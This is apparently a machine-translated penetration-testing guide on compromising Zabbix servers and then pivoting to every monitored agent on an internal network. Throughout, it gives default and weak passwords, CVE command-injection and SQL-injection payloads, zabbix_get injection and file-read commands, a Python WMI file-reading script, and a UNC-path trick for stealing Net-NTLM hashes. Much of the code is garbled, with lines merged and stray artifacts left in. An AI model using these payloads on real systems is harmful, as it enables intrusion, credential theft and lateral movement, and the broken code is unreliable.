A list,

Zabbix is an enterprise-class solution that enables real-time monitoring of thousands of servers, virtual machines, and network equipment for many large enterprises. This topic describes the Zabbix infrastructure, Zabbix Server attack surface, and permission utilization. In a complex Intranet environment, how to control Server permissions from agents and then take down all Intranet Agents based on the Server.

Second, Zabbix monitoring component

The Zabbix monitoring system consists of the following components:

1. Zabbix Server

Zabbix Server is the central storage center for all configuration, statistics, and operational data, as well as the alarm center for Zabbix monitoring systems. Any exceptions that occur in the monitored system will be notified to the administrator.

The functions of Zabbix Server can be decomposed into three different components, namely Zabbix Server service, Web background and database.

2. Zabbix Proxy

Zabbix Proxy adopts a layered structure to share the pressure of Zabbix Server in large-scale distributed monitoring scenarios. It is widely used in cross-room and cross-network environments. Zabbix Proxy can replace Zabbix Server to collect performance and availability data. It then reports the data to Zabbix Server and shares the pressure of Zabbix Server to some extent.

3. Zabbix Agent

Zabbix Agents are deployed on monitored target machines to proactively monitor local resources and applications (hard disk, memory, processor statistics, and so on).

The Zabbix Agent collects local status information and reports the data to the Zabbix Server for further processing.

3. Zabbix network architecture

Zabbix Agent client can be divided into passive mode and active mode according to the request type:

  • Passive mode: The Server obtains monitoring item data from port 10050 on the Agent. The Agent collects local data based on the monitoring item and responds.

  • Active mode: The Agent proactively requests port 10051 of the Proxy Server to obtain the monitoring item list, and collects local data based on the monitoring item list and submits it to the Proxy Server.

In terms of network deployment architecture, it can be divided into server-client architecture, server-proxy-client architecture, and master-Node-client architecture:

  • Server – Client architecture

In the most common Zabbix deployment architecture, the Server and the Agent are in the same Intranet area, and the Agent can communicate with the Server directly without cross-area restrictions.

  • Server – Proxy – Client architecture

Agents cannot directly communicate with servers in other regions. Therefore, proxies in each region need to collect Agent data and report it to the Server.

👉 Network security learning route

4. Configuration analysis of Zabbix Agent

You can check whether the zabbix_agentd service is running on the current host from the process list. The Linux process name is Zabbix_agentd, and the Windows process name is zabbix_agentD.exe.

Conf of the Zabbix Agent service. The default Linux directory is /etc/zabbix/zabbix_agentd.conf. You can run the following command to view the Agent configuration file and filter out comments:

cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'
Copy the code

Start by locating the basic information about the Zabbix_AgentD service from the configuration file:

  • Server parameter

IP address, CIDR, and domain name of the Server or Proxy. The Agent only accepts IP requests from the Server parameters.

Server = 192.168.10.100Copy the code
  • ServerActive parameters

The IP address, CIDR, and domain name of the Server or Proxy are used in active mode. The Agent actively sends requests to the IP address of the ServerActive parameter.

ServerActive = 192.168.10.100Copy the code
  • StartAgents parameters

If the value is 0, the passive mode is disabled and port 10050 is not listened to.

StartAgents=0
Copy the code

After studying the security of parameters in the zabbix_agentd.conf configuration file, you can summarize the following configuration items that may cause security risks:

  • EnableRemoteCommands parameters

Whether to allow remote commands from the Zabbix Server. After this function is enabled, shell scripts delivered from the Server can be executed on the Agent.

Example risks:

EnableRemoteCommands=1
Copy the code
  • AllowRoot parameters

In Linux, user Zabbix runs the zabbix_agentd service as user root by default.

Example risks:

AllowRoot=1
Copy the code
  • UserParameter parameters

User-defined user parameters are in the format of UserParameter=

,
. The Server can run preset user-defined parameter commands from the Agent to obtain monitoring data. The official example is as follows:

UserParameter=ping\[*\],echo $1
Copy the code

When the Server runs the ping[aaaa] command to the Agent, $1 is the value of the input parameter, and the Agent executes the echo aaaa command after concatenation. The final result is aAAA.

Command has command concatenation. However, the parameter transmission content is limited by UnsafeUserParameters and special symbols cannot be transmitted by default. Therefore, the default configuration applies to limited scenarios.

For the official vulnerability case, please refer to CVE-2016-4338 vulnerability.

  • UnsafeUserParameters parameters

Can custom user parameters be passed with any character? By default, the character \ ‘”‘ * is not allowed? [] {} ~ $! &; () < > | # @

Example risks:

UnsafeUserParameters=1
Copy the code

When the UnsafeUserParameters parameter is incorrectly configured, the combination of the parameter transmission command of the UserParameter user-defined parameter can lead to the vulnerability of remote command injection.

After the Server sends a command to the Agent to execute a customized parameter, the Agent can run any system command. Take UserParameter=ping[*],echo $1 as an example, run the ping[test && whoami] command to the Agent, and finally run echo test && whoami after command stitching, and successfully inject and execute shell command.

  • The Include parameters

Loading the configuration file directory A single file or all files, usually including conf to configure UserParameter custom user parameters.

Include=/etc/zabbix/zabbix_agentd.d/*.conf
Copy the code

Five, Zabbix Server attack methods

In addition to Zabbix Agent vulnerability with exploit conditions, Agent is limited by IP whitelist by default and only processes requests from Server. Therefore, the primary way to attack Zabbix Agent is to take down Zabbix Server first.

After combing the attack surface of Zabbix Server, some loopholes with good attack effects are summarized as follows:

1. Zabbix Web background weak password

After Zabbix is installed, administrator Admin and Guests (earlier version) can log in to the Zabbiax.

Super administrator The default account is Admin, and the password is zabbix Guests. The password is empty

2. MySQL weak password

In terms of user habits, o&M likes to use weak passwords as MySQL passwords when configuring Zabbix, and the search engine’s Zabbix configuration tutorial basically uses weak passwords. As a result, the database passwords of Zabbix Server are usually weak passwords in the actual environment.

In addition to the default root user, o&M usually creates MySQL user Zabbix, and combs the common password of zabbix user according to user habits:

123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456123456
Copy the code

After you take down the MySQL database, you can decrypt the MD5 value of the password in the Users table or replace the MD5 password with a known password to log in to Zabbix Web.

3. Inject the cVE-2020-11800 command

Cve-2020-11800 Command injection vulnerability exists in the active checks command of the Zabbix Server trapper function. This vulnerability is used based on CVE-2017-2824. Unauthorized attackers can execute system commands on Zabbix Server by sending commands related to trapper function to port 10051 of Zabbix Server.

The active checks command is used by the Agent to obtain the list of monitored items. When the automatic registration function is enabled, the Zabbix Server uses the active checks command to obtain a non-existent host. The automatic registration mechanism adds the host and IP in the JSON request to the interface data table. The CVE-2020-11800 vulnerability bypassing IP field detection in ipv6 format and executes shell commands. The Payload is limited to 64 characters by the data table fields.

{"request":"active checks","host":"vulhub","ip":"ffff:::; whoami"}Copy the code

Automatic registration call chain:

active checks -> send\_list\_of\_active\_checks\_json() -> get\_hostid\_by\_host() -> DBregister_host()
Copy the code

Zabbix has three default scripts. {host. CONN} in the script is replaced by the HOST IP address when the script is called.

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1123
Copy the code

Scriptid specifies any one of them, and hostid is the hostid after injecting malicious Payload. However, the auto-registered hostid is unknown, so the command is executed through all the hostids, and finally the command injection vulnerability is triggered successfully.

{"request":"command","scriptid":1,"hostid":10001}
Copy the code

Due to the type limitation of the default script, all scripts are run on Zabbix Server, and Zabbix Proxy cannot use command. Payload length is limited. The payload can be split multiple times. You must change the host name to execute the new payload.

Zabbix Server Trapper Command Injection (CVE-2020-11800)

4. Inject the cVE-2017-2824 command

Summary has explained above, CVE – 2017-2824 and CVE – 2020-11800 points and USES difference is not big, not repeat, can reference links: talosintelligence.com/vulnerabili…

Zabbix Server Trapper Command Injection vulnerability (CVE-2017-2824)

5. Cve-2016-10134 SQL injection

Cve-2016-10134 SQL injection vulnerability is known to have two injection points:

  • Latest. PHP, you need to log in and use the Guest account that has not been closed.
/jsrpc.php? type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)Copy the code

  • Jsrpc.php, no login required.

Using scripts:Github.com/RicterZ/zab…

Zabbix latest.php SQL Injection Vulnerability (CVE-2016-10134)

Vi. Use the Zabbix Server permission

Obtaining Zabbix Server rights is only a temporary success, the next problem is how to control Zabbix Agent to achieve the ultimate attack.

Port 10050 of Zabbix Agent only processes requests from Zabbix Server or Proxy. Therefore, subsequent attacks rely on Zabbix Server permission for extension. This chapter mainly describes the post-utilization of the monitoring item-based function.

In Zabbix, a certain indicator that we want to monitor is called a “monitoring item”, just like our disk usage. In Zabbix, it can be considered as a “monitoring item”. If we want to get the information about the “monitoring item”, we need to execute a command, but we cannot directly call the command. In Zabbix, if we want to obtain the value of a “monitoring item”, we need to have the corresponding “key”. Through the “key”, we can call the corresponding command to obtain the corresponding monitoring information.

Take Zabbix 4.0 as an example. According to my personal understanding, item monitoring items can be divided into general monitoring items, active check monitoring items, Windows monitoring items, and user-defined UserParameter monitoring items. There are many Agent monitoring items. Zabbix Agent Monitoring item 2. Zabbix Agent Windows monitoring item

When the permission of Zabbix Server is controlled, the zabbix_get command can be used to obtain monitoring item data from Agent, such as system kernel information of Agent:

Zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"Copy the code

Combined with the above knowledge points, the attack surface of item monitoring item is mined and the following utilization scenarios are summarized:

1. EnableRemoteCommands Remote command execution

Zabbix is the most classic command execution using posture. Many people think that they can execute commands on Agent after controlling Zabbix Server, but in fact, it is not true. When the Agent remotely executes system commands, enable the EnableRemoteCommands parameter in the zabbix_Agentd. conf configuration file.

Add the script on Zabbix Web. The “Execute on” option can be selected as required. “Execute on Zabbix server” does not require EnableRemoteCommands. Therefore, after controlling the Zabbix Web, you can execute commands on the Zabbix Server in this way to obtain the Server permission.

To specify a host to execute the script, you can choose Monitoring > Latest Data on the Zabbix Web to find the host to execute the script based on the filtering criteria, and click the host name to execute the script on the corresponding Agent.

A common misconception is that if the type is “execute on Zabbix Server”, the script will be executed on Zabbix Server regardless of which host you choose.

If the type is “Execute on Zabbix client”, the Agent configuration file returns an error if the EnableRemoteCommands parameter is not enabled.

When the EnableRemoteCommands parameter is enabled for the Agent configuration file, the command to execute the system can be successfully delivered.

If you do not want to leave too many log traces on the Zabbix Web or want to control agents in batches, you can run the zabbix_get command to monitor items on the Agent after obtaining the Zabbix Server permission. Executing the script on Zabbix Web is essentially executing the System.run monitor command.

You can also use the Zabbix Server as a tunnel springboard and run the zabbix_get command locally to achieve the same effect (Zabbix Agent performs IP whitelist verification).

2. UserParameter User-defined parameter command injection

As mentioned in the introduction to the UserParameter parameter parameter, the 1, 1, 1, and 2 parameters of the UserParameter command command are replaced with the parameter values of item when monitoring items are executed, which may lead to command injection risks. By default, special characters cannot be passed in because of the UnsafeUserParameters parameter.

When the UnsafeUserParameters parameter is enabled in the Zabbix_Agentd. conf configuration file of the Zabbiax Agent, the parameter value is not limited. You only need to find the user-defined UserParameter that has been passed to achieve command injection.

For a simple example, add a custom parameter to the zabbix_agentd.conf file:

UserParameter=ping\[*\],echo $1
Copy the code

By default, UnsafeUserParameters is disabled and the command cannot be executed if special characters are passed in.

Add UnsafeUserParameters=1 to the zabbix_agentd.conf file, and the command is successfully injected into the system command after the parameter combination.

Zabbix_get -s 172.19.0.5 -p 10050 -k "ping\[test && id\]"Copy the code

Improper configuration of UnsafeUserParameters is common on intranets with large monitoring scale. Pay attention to Agent configuration information during Intranet penetration.

3. Read any file

If the Zabbix Agent is not misconfigured, are there any other positions available? The answer is yes.

In the Zabbix native monitoring item, the vfs.file.contents command can read specified files, but cannot read files larger than 64KB.

Zabbix_get -s 172.19.0.5 -p 10050 -k "fs.file.contents\[/etc/passwd\]"Copy the code

The zabbix_agentD service runs as user Zabbix with low permission by default, and files can be read only by user Zabbix. With the AllowRoot parameter enabled, the zabbix_agentd service runs as root and can read any file using the vfs.file.contents command.

If the file is larger than 64KB and cannot be read, you can obtain the key content by using the command fS.file. regexp with the format of the file field.

4. Windows directory traversal

In Zabbix native monitoring items, the wmi.get command can execute THE WMI query and return the first object. Many machine information can be queried through the WQL statement.

  • Traversing drive

Because the Wmi. get command can only return one row of data at a time, WQL’s conditional statement exclusion method is used to retrieve data row by row.

For example, WQL query drive letter, return only C:

Zabbix \_get -s 192.168.98.2 -p 10050 -k "wmi.get\[root\\ cimv2,\\"SELECT Name FROM Win32\_LogicalDisk\\"\]"Copy the code

The next row of data is obtained by adding conditional statements to exclude the results that have been processed by the query.

Zabbix \_get -s 192.168.98.2 -p 10050 -k "wmi.get [root\\ cimv2,\\"SELECT Name FROM Win32\_LogicalDisk WHERE zabbix\_get -s 192.168.98.2 -p 10050 -k "wmi.get [root\\ cimv2,\\"SELECT Name FROM Win32\_LogicalDisk WHERE Name!='C:'\\"\]"12Copy the code

The script continues to append conditional statements until Cannot obtain WMI information appears. WQL cannot be queried. From the figure, it can be seen that the drive letters C: and D: exist on the machine through wmi.get command.

  • Directory traversal

Obtain the directory under C:, using conditional statement exclusion method line by line.

Zabbix \_get -s 192.168.98.2 -p 10050 -k "wmi.get\[root\\ cimv2,\\"SELECT SELECT Caption FROM Win32\_Directory WHERE Drive='C:' AND the Path = '\ \ \ \ \ \' \ \ "\]" zabbix 192.168.98.2 \ _get - s - 10050 - k p "wmi. Get \ [root \ \ \ cimv2, \ \" SELECT Caption the FROM Win32\_Directory WHERE Drive='C:' AND Path='\\\\\\' AND Caption != 'C:\\\\\\\\$Recycle.Bin' \\"\]"zabbix\_get -s 192.168.98.2 -p 10050 -k "wmi.get\[root\\ cimv2,\\"SELECT Caption FROM Win32\_Directory WHERE Drive='C:' AND Path='\\\\\\' AND Caption != 'C:\\\\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\\\\$WinREAgent' \\"\]"... 12345678Copy the code

Obtain the files under C:, using conditional statement exclusion method to obtain line by line.

Zabbix \_get -s 192.168.98.2 -p 10050 -k "wmi.get\[root\\ cimv2,\\"SELECT Name FROM CIM\_DataFile WHERE Drive='C:' AND Path = '\ \ \ \ \ \' \ \ "\]" zabbix 192.168.98.2 \ _get - s - 10050 - k p "wmi. Get \ [root \ \ \ cimv2, \ \" SELECT the Name FROM the CIM \ _DataFile WHERE Drive='C:' AND Path='\\\\\\' AND Name != 'C:\\\\\\\\$WINRE\_BACKUP\_PARTITION.MARKER' \\"\]"zabbix\_get -s 192.168.98.2 -p 10050 -k "wmi.get [root\\ cimv2,\\"SELECT Name FROM CIM\_DataFile WHERE Drive='C:' AND Path='\\\\\\' AND  Name != 'C:\\\\\\\\$WINRE\_BACKUP\_PARTITION.MARKER' AND Name !='C:\\\\\\browser.exe' \\"\]"... 12345678Copy the code

Wmi. get command for directory traversal, file traversal, combined with vfS.file. contents command can realize arbitrary file reading in Windows.

Based on zabbix_get command to write a Python script, Windows column directory, read file functions.

import osimport sys count = 0def zabbix_exec(ip, command): global count count = count + 1 check = os.popen("./zabbix_get -s " + ip + " -k \\"" + command + "\\"").read() if "Cannot  obtain WMI information" not in check: return check.strip() else: return Falsedef getpath(path): return path.replace("\\\","\\\\\\\\\\\\").replace("$","\\\$")def GetDisk(ip): where = "" while(True): check\_disk = zabbix\_exec(ip, "wmi.get\[root\\cimv2,\\\\\"SELECT Name FROM Win32\_LogicalDisk WHERE Name != '' " + where + "\\\\\"\]") if check\_disk:  print(check_disk) where = where + "AND Name ! = '" + check_disk+ "'" else: breakdef GetDirs(ip, dir): drive = dir\[0:2\] path = dir\[2:\] where = "" while(True): check\_dir = zabbix\_exec(ip, "wmi.get\[root\\cimv2,\\\\\"SELECT Caption FROM Win32\_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path)  + "' " + where + "\\\\\"\]") if check\_dir: print(check_dir) where = where + "AND Caption ! = '" + getpath(check_dir) + "'" else: breakdef GetFiles(ip, dir): drive = dir\[0:2\] path = dir\[2:\] where = "" while(True): check\_file = zabbix\_exec(ip, "wmi.get\[root\\cimv2,\\\\\"SELECT Name FROM CIM\_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\\\"\]") if check\_file: if "Invalid item key format" in check_file: continue print(check_file) where = where + "AND Name ! = '" + getpath(check_file) + "'" else: breakdef Readfile(ip, file): read = zabbix_exec(ip, "vfs.file.contents\[" + file + "\]") print(read)if \_\_name\_\_ == "\_\_main\_\_": if len(sys.argv) == 2: GetDisk(sys.argv\[1\]) elif sys.argv\[2\]\[-1\] ! = "\\\": Readfile(sys.argv\[1\], sys.argv\[2\]) else: GetDirs(sys.argv\[1\],sys.argv\[2\]) GetFiles(sys.argv\[1\],sys.argv\[2\]) print("Request count: "+ str(count))1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859 60616263646566676869Copy the code

5. Windows UNC path utilization

In the Windows Zabbix Agent environment, you can read the UNC path using the vfS.file. contents command to steal the Net-NTLM hash of the Zabbix Agent machine, thus further net-NTLM relay attack.

Windows Zabbix Agent is installed as a Windows service by default and runs under the SYSTEM permission. In a workgroup environment, the Net-NTLM hash for the system user is empty, so the workgroup environment is not available.

In the intra-domain environment, SYSTEM user is machine user. In the case of net-NTLM v1, Responder tool can be used to obtain net-NTLM v1 hash and obtain NTLM hash through algorithm defect decryption, and obtain intra-domain machine user permissions with resource constraint delegation. In this way, the Agent machine permission is obtained.

With cVE-2019-1040 vulnerability, relay can configure resource-based constraint delegation on LDAP to obtain Agent machine permissions.

192.168.30.200 zabbix_get - s - 10050 - k p "VFS. File. Contents \ [\ \ \ \ \ \ 192.168.30.243 \ \ \ cc \]"Copy the code

6. Application scenario of Zabbix Proxy and active check mode

Using the Zabbix_get tool to run the monitoring item command is only applicable to the scenario where the Agent is in passive mode and port 10050 can communicate (the zabbix_get command is also used to demonstrate vulnerabilities).

In the Zabbix Proxy scenario or Agent active check mode, if the Zabbix Server cannot directly communicate with Agent port 10050, you can add monitoring items through the Zabbix Web.

Take the UserParameter command injection vulnerability as an example. Add a monitoring item to a specified host, fill the monitoring item command in the key value, and select text as the information type:

Find the specified host according to the filter criteria in the latest data and wait for a moment to see the execution result.

The same goes for arbitrary file read vulnerabilities:

The zabbix_get tool can return a maximum of 512KB of data in the result. The maximum limit for storing the result in MySQL is 64KB.

Ps: The added monitoring item is always executed periodically. Therefore, delete the monitoring item after the execution.